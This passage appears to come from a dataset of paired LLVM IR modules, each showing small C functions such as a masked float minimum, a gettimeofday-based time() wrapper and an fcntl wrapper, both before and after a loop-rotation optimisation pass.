%13 = load i32, ptr %4, align 4
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds i32, ptr %12, i64 %14
%16 = load i32, ptr %15, align 4
%17 = icmp sgt i32 %16, 0
br i1 %17, label %18, label %28
18: ; preds = %11
%19 = load ptr, ptr %2, align 8
%20 = load i32, ptr %4, align 4
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds i32, ptr %19, i64 %21
%23 = load i32, ptr %22, align 4
%24 = srem i32 %23, 13
%25 = icmp ne i32 %24, 10
br i1 %25, label %26, label %28
26: ; preds = %18
%27 = load i32, ptr %4, align 4
store i32 %27, ptr %3, align 4
br label %28
28: ; preds = %26, %18, %11
br label %52
29: ; preds = %8
%30 = load ptr, ptr %2, align 8
%31 = load i32, ptr %4, align 4
%32 = sext i32 %31 to i64
%33 = getelementptr inbounds i32, ptr %30, i64 %32
%34 = load i32, ptr %33, align 4
%35 = srem i32 %34, 13
%36 = icmp ne i32 %35, 10
br i1 %36, label %37, label %51
37: ; preds = %29
%38 = load ptr, ptr %2, align 8
%39 = load i32, ptr %38, align 4
%40 = load i32, ptr %3, align 4
%41 = add nsw i32 %39, %40
%42 = call i64 @value(i32 noundef %41)
%43 = load ptr, ptr %2, align 8
%44 = load i32, ptr %43, align 4
%45 = load i32, ptr %4, align 4
%46 = add nsw i32 %44, %45
%47 = call i64 @value(i32 noundef %46)
%48 = icmp slt i64 %42, %47
br i1 %48, label %49, label %51
49: ; preds = %37
%50 = load i32, ptr %4, align 4
store i32 %50, ptr %3, align 4
br label %51
51: ; preds = %49, %37, %29
br label %52
52: ; preds = %51, %28
br label %53
53: ; preds = %52
%54 = load i32, ptr %4, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %4, align 4
br label %5, !llvm.loop !6
56: ; preds = %5
%57 = load i32, ptr %3, align 4
ret i32 %57
}
declare i64 @value(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_vxpf2c3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @mostvalueinv(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store i32 -1, ptr %3, align 4
store i32 0, ptr %4, align 4
%5 = load i32, ptr %4, align 4
%6 = icmp slt i32 %5, 10
br i1 %6, label %.lr.ph, label %57
.lr.ph: ; preds = %1
br label %7
7: ; preds = %.lr.ph, %52
%8 = load i32, ptr %3, align 4
%9 = icmp slt i32 %8, 0
br i1 %9, label %10, label %28
10: ; preds = %7
%11 = load ptr, ptr %2, align 8
%12 = load i32, ptr %4, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i32, ptr %11, i64 %13
%15 = load i32, ptr %14, align 4
%16 = icmp sgt i32 %15, 0
br i1 %16, label %17, label %27
17: ; preds = %10
%18 = load ptr, ptr %2, align 8
%19 = load i32, ptr %4, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds i32, ptr %18, i64 %20
%22 = load i32, ptr %21, align 4
%23 = srem i32 %22, 13
%24 = icmp ne i32 %23, 10
br i1 %24, label %25, label %27
25: ; preds = %17
%26 = load i32, ptr %4, align 4
store i32 %26, ptr %3, align 4
br label %27
27: ; preds = %25, %17, %10
br label %51
28: ; preds = %7
%29 = load ptr, ptr %2, align 8
%30 = load i32, ptr %4, align 4
%31 = sext i32 %30 to i64
%32 = getelementptr inbounds i32, ptr %29, i64 %31
%33 = load i32, ptr %32, align 4
%34 = srem i32 %33, 13
%35 = icmp ne i32 %34, 10
br i1 %35, label %36, label %50
36: ; preds = %28
%37 = load ptr, ptr %2, align 8
%38 = load i32, ptr %37, align 4
%39 = load i32, ptr %3, align 4
%40 = add nsw i32 %38, %39
%41 = call i64 @value(i32 noundef %40)
%42 = load ptr, ptr %2, align 8
%43 = load i32, ptr %42, align 4
%44 = load i32, ptr %4, align 4
%45 = add nsw i32 %43, %44
%46 = call i64 @value(i32 noundef %45)
%47 = icmp slt i64 %41, %46
br i1 %47, label %48, label %50
48: ; preds = %36
%49 = load i32, ptr %4, align 4
store i32 %49, ptr %3, align 4
br label %50
50: ; preds = %48, %36, %28
br label %51
51: ; preds = %50, %27
br label %52
52: ; preds = %51
%53 = load i32, ptr %4, align 4
%54 = add nsw i32 %53, 1
store i32 %54, ptr %4, align 4
%55 = load i32, ptr %4, align 4
%56 = icmp slt i32 %55, 10
br i1 %56, label %7, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %52
br label %57
57: ; preds = %._crit_edge, %1
%58 = load i32, ptr %3, align 4
ret i32 %58
}
declare i64 @value(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpej6ukjmp.c'
source_filename = "/tmp/tmpej6ukjmp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"hello\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 (...) @foo()
%3 = call i32 @printf(ptr noundef @.str)
%4 = call i32 (...) @foo()
ret i32 0
}
declare i32 @foo(...) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpej6ukjmp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"hello\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 (...) @foo()
%3 = call i32 @printf(ptr noundef @.str)
%4 = call i32 (...) @foo()
ret i32 0
}
declare i32 @foo(...) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpp0xbgvfw.c'
source_filename = "/tmp/tmpp0xbgvfw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@NAN = dso_local global float 0.000000e+00, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local float @arr_minf_masked(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca float, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca float, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store i32 0, ptr %8, align 4
br label %10
10: ; preds = %23, %3
%11 = load i32, ptr %8, align 4
%12 = load i32, ptr %7, align 4
%13 = icmp slt i32 %11, %12
br i1 %13, label %14, label %26
14: ; preds = %10
%15 = load ptr, ptr %6, align 8
%16 = load i32, ptr %8, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i32, ptr %15, i64 %17
%19 = load i32, ptr %18, align 4
%20 = icmp ne i32 %19, 0
br i1 %20, label %21, label %22
21: ; preds = %14
br label %26
22: ; preds = %14
br label %23
23: ; preds = %22
%24 = load i32, ptr %8, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %8, align 4
br label %10, !llvm.loop !6
26: ; preds = %21, %10
%27 = load i32, ptr %8, align 4
%28 = load i32, ptr %7, align 4
%29 = icmp eq i32 %27, %28
br i1 %29, label %30, label %32
30: ; preds = %26
%31 = load float, ptr @NAN, align 4
store float %31, ptr %4, align 4
br label %70
32: ; preds = %26
%33 = load ptr, ptr %5, align 8
%34 = load i32, ptr %8, align 4
%35 = add nsw i32 %34, 1
store i32 %35, ptr %8, align 4
%36 = sext i32 %34 to i64
%37 = getelementptr inbounds float, ptr %33, i64 %36
%38 = load float, ptr %37, align 4
store float %38, ptr %9, align 4
br label %39
39: ; preds = %65, %32
%40 = load i32, ptr %8, align 4
%41 = load i32, ptr %7, align 4
%42 = icmp slt i32 %40, %41
br i1 %42, label %43, label %68
43: ; preds = %39
%44 = load ptr, ptr %6, align 8
%45 = load i32, ptr %8, align 4
%46 = sext i32 %45 to i64
%47 = getelementptr inbounds i32, ptr %44, i64 %46
%48 = load i32, ptr %47, align 4
%49 = icmp ne i32 %48, 0
br i1 %49, label %50, label %64
50: ; preds = %43
%51 = load ptr, ptr %5, align 8
%52 = load i32, ptr %8, align 4
%53 = sext i32 %52 to i64
%54 = getelementptr inbounds float, ptr %51, i64 %53
%55 = load float, ptr %54, align 4
%56 = load float, ptr %9, align 4
%57 = fcmp olt float %55, %56
br i1 %57, label %58, label %64
58: ; preds = %50
%59 = load ptr, ptr %5, align 8
%60 = load i32, ptr %8, align 4
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds float, ptr %59, i64 %61
%63 = load float, ptr %62, align 4
store float %63, ptr %9, align 4
br label %64
64: ; preds = %58, %50, %43
br label %65
65: ; preds = %64
%66 = load i32, ptr %8, align 4
%67 = add nsw i32 %66, 1
store i32 %67, ptr %8, align 4
br label %39, !llvm.loop !8
68: ; preds = %39
%69 = load float, ptr %9, align 4
store float %69, ptr %4, align 4
br label %70
70: ; preds = %68, %30
%71 = load float, ptr %4, align 4
ret float %71
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpp0xbgvfw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@NAN = dso_local global float 0.000000e+00, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local float @arr_minf_masked(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca float, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca float, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store i32 0, ptr %8, align 4
%10 = load i32, ptr %8, align 4
%11 = load i32, ptr %7, align 4
%12 = icmp slt i32 %10, %11
br i1 %12, label %.lr.ph, label %.loopexit
.lr.ph: ; preds = %3
br label %13
13: ; preds = %.lr.ph, %22
%14 = load ptr, ptr %6, align 8
%15 = load i32, ptr %8, align 4
%16 = sext i32 %15 to i64
%17 = getelementptr inbounds i32, ptr %14, i64 %16
%18 = load i32, ptr %17, align 4
%19 = icmp ne i32 %18, 0
br i1 %19, label %20, label %21
20: ; preds = %13
br label %28
21: ; preds = %13
br label %22
22: ; preds = %21
%23 = load i32, ptr %8, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %8, align 4
%25 = load i32, ptr %8, align 4
%26 = load i32, ptr %7, align 4
%27 = icmp slt i32 %25, %26
br i1 %27, label %13, label %..loopexit_crit_edge, !llvm.loop !6
..loopexit_crit_edge: ; preds = %22
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %3
br label %28
28: ; preds = %.loopexit, %20
%29 = load i32, ptr %8, align 4
%30 = load i32, ptr %7, align 4
%31 = icmp eq i32 %29, %30
br i1 %31, label %32, label %34
32: ; preds = %28
%33 = load float, ptr @NAN, align 4
store float %33, ptr %4, align 4
br label %74
34: ; preds = %28
%35 = load ptr, ptr %5, align 8
%36 = load i32, ptr %8, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %8, align 4
%38 = sext i32 %36 to i64
%39 = getelementptr inbounds float, ptr %35, i64 %38
%40 = load float, ptr %39, align 4
store float %40, ptr %9, align 4
%41 = load i32, ptr %8, align 4
%42 = load i32, ptr %7, align 4
%43 = icmp slt i32 %41, %42
br i1 %43, label %.lr.ph1, label %72
.lr.ph1: ; preds = %34
br label %44
44: ; preds = %.lr.ph1, %66
%45 = load ptr, ptr %6, align 8
%46 = load i32, ptr %8, align 4
%47 = sext i32 %46 to i64
%48 = getelementptr inbounds i32, ptr %45, i64 %47
%49 = load i32, ptr %48, align 4
%50 = icmp ne i32 %49, 0
br i1 %50, label %51, label %65
51: ; preds = %44
%52 = load ptr, ptr %5, align 8
%53 = load i32, ptr %8, align 4
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds float, ptr %52, i64 %54
%56 = load float, ptr %55, align 4
%57 = load float, ptr %9, align 4
%58 = fcmp olt float %56, %57
br i1 %58, label %59, label %65
59: ; preds = %51
%60 = load ptr, ptr %5, align 8
%61 = load i32, ptr %8, align 4
%62 = sext i32 %61 to i64
%63 = getelementptr inbounds float, ptr %60, i64 %62
%64 = load float, ptr %63, align 4
store float %64, ptr %9, align 4
br label %65
65: ; preds = %59, %51, %44
br label %66
66: ; preds = %65
%67 = load i32, ptr %8, align 4
%68 = add nsw i32 %67, 1
store i32 %68, ptr %8, align 4
%69 = load i32, ptr %8, align 4
%70 = load i32, ptr %7, align 4
%71 = icmp slt i32 %69, %70
br i1 %71, label %44, label %._crit_edge, !llvm.loop !8
._crit_edge: ; preds = %66
br label %72
72: ; preds = %._crit_edge, %34
%73 = load float, ptr %9, align 4
store float %73, ptr %4, align 4
br label %74
74: ; preds = %72, %32
%75 = load float, ptr %4, align 4
ret float %75
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmppf6oubu1.c'
source_filename = "/tmp/tmppf6oubu1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timeval = type { i32 }
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @time(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca %struct.timeval, align 4
store ptr %0, ptr %3, align 8
%5 = call i64 @gettimeofday(ptr noundef %4, ptr noundef null)
%6 = icmp slt i64 %5, 0
br i1 %6, label %7, label %8
7: ; preds = %1
store i32 -1, ptr %2, align 4
br label %18
8: ; preds = %1
%9 = load ptr, ptr %3, align 8
%10 = icmp ne ptr %9, null
br i1 %10, label %11, label %15
11: ; preds = %8
%12 = getelementptr inbounds %struct.timeval, ptr %4, i32 0, i32 0
%13 = load i32, ptr %12, align 4
%14 = load ptr, ptr %3, align 8
store i32 %13, ptr %14, align 4
br label %15
15: ; preds = %11, %8
%16 = getelementptr inbounds %struct.timeval, ptr %4, i32 0, i32 0
%17 = load i32, ptr %16, align 4
store i32 %17, ptr %2, align 4
br label %18
18: ; preds = %15, %7
%19 = load i32, ptr %2, align 4
ret i32 %19
}
declare i64 @gettimeofday(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppf6oubu1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timeval = type { i32 }
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @time(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca %struct.timeval, align 4
store ptr %0, ptr %3, align 8
%5 = call i64 @gettimeofday(ptr noundef %4, ptr noundef null)
%6 = icmp slt i64 %5, 0
br i1 %6, label %7, label %8
7: ; preds = %1
store i32 -1, ptr %2, align 4
br label %18
8: ; preds = %1
%9 = load ptr, ptr %3, align 8
%10 = icmp ne ptr %9, null
br i1 %10, label %11, label %15
11: ; preds = %8
%12 = getelementptr inbounds %struct.timeval, ptr %4, i32 0, i32 0
%13 = load i32, ptr %12, align 4
%14 = load ptr, ptr %3, align 8
store i32 %13, ptr %14, align 4
br label %15
15: ; preds = %11, %8
%16 = getelementptr inbounds %struct.timeval, ptr %4, i32 0, i32 0
%17 = load i32, ptr %16, align 4
store i32 %17, ptr %2, align 4
br label %18
18: ; preds = %15, %7
%19 = load i32, ptr %2, align 4
ret i32 %19
}
declare i64 @gettimeofday(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpgbm4na26.c'
source_filename = "/tmp/tmpgbm4na26.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"xfcntlx\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @xfcntlx(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%8 = load i32, ptr %4, align 4
%9 = load i32, ptr %5, align 4
%10 = load ptr, ptr %6, align 8
%11 = call i32 @fcntl(i32 noundef %8, i32 noundef %9, ptr noundef %10)
store i32 %11, ptr %7, align 4
%12 = load i32, ptr %7, align 4
%13 = icmp slt i32 %12, 1
br i1 %13, label %14, label %16
14: ; preds = %3
%15 = call i32 @perror(ptr noundef @.str)
br label %16
16: ; preds = %14, %3
%17 = load i32, ptr %7, align 4
ret i32 %17
}
declare i32 @fcntl(i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @perror(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpgbm4na26.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"xfcntlx\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @xfcntlx(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%8 = load i32, ptr %4, align 4
%9 = load i32, ptr %5, align 4
%10 = load ptr, ptr %6, align 8
%11 = call i32 @fcntl(i32 noundef %8, i32 noundef %9, ptr noundef %10)
store i32 %11, ptr %7, align 4
%12 = load i32, ptr %7, align 4
%13 = icmp slt i32 %12, 1
br i1 %13, label %14, label %16
14: ; preds = %3
%15 = call i32 @perror(ptr noundef @.str)
br label %16
16: ; preds = %14, %3
%17 = load i32, ptr %7, align 4
ret i32 %17
}
declare i32 @fcntl(i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @perror(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp5op2qzcz.c'
source_filename = "/tmp/tmp5op2qzcz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"RETURNED %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %6, align 4
%7 = call i32 (...) @fun()
%8 = load i32, ptr %6, align 4
%9 = call i32 @printf(ptr noundef @.str, i32 noundef %8)
%10 = load i32, ptr %6, align 4
%11 = icmp ne i32 %10, 1
br i1 %11, label %12, label %13
12: ; preds = %2
store i32 1, ptr %3, align 4
br label %14
13: ; preds = %2
store i32 0, ptr %3, align 4
br label %14
14: ; preds = %13, %12
%15 = load i32, ptr %3, align 4
ret i32 %15
}
declare i32 @fun(...) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp5op2qzcz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
